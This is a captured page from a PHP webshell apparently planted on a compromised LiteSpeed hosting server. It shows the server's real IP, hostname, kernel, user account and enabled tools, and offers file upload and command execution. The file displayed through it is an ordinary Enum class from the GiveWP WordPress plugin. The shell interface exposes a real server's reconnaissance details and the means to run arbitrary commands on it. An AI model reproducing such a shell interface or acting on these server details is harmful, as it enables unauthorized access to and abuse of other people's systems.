403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.118.151.13
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/Framework/Support/ValueObjects/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/Framework/Support/ValueObjects/Enum.php
<?php

namespace Give\Framework\Support\ValueObjects;

use BadMethodCallException;
use Give\Framework\Support\Facades\Str;

/**
 * @since 2.10.0
 */
abstract class Enum extends BaseEnum
{
    /**
     * @since 2.20.0
     *
     * Adds support for is{Value} methods. So if an Enum has an ACTIVE value, then an isActive() instance method is
     * automatically available.
     *
     * @param $name
     * @param $arguments
     *
     * @return bool
     */
    public function __call($name, $arguments)
    {
        if (strpos($name, 'is') === 0) {
            $constant = Str::upper(Str::snake(Str::after($name, 'is')));

            if ( ! self::hasConstant($constant)) {
                throw new BadMethodCallException("$name does not match a corresponding enum constant.");
            }

            return $this->equals(parent::$constant());
        }

        throw new BadMethodCallException("Method $name does not exist on enum");
    }

    /**
     * @since 2.20.0
     */
    public function isOneOf(Enum...$enums): bool {
        foreach($enums as $enum) {
            if ( $this->equals($enum) ) {
                return true;
            }
        }

        return false;
    }

    /**
     * @since 2.20.0
     */
    public function getKeyAsCamelCase(): string
    {
        return Str::camel($this->getKey());
    }

    /**
     * @since 2.20.0
     */
    protected static function hasConstant(string $name): bool
    {
        return array_key_exists($name, static::toArray());
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit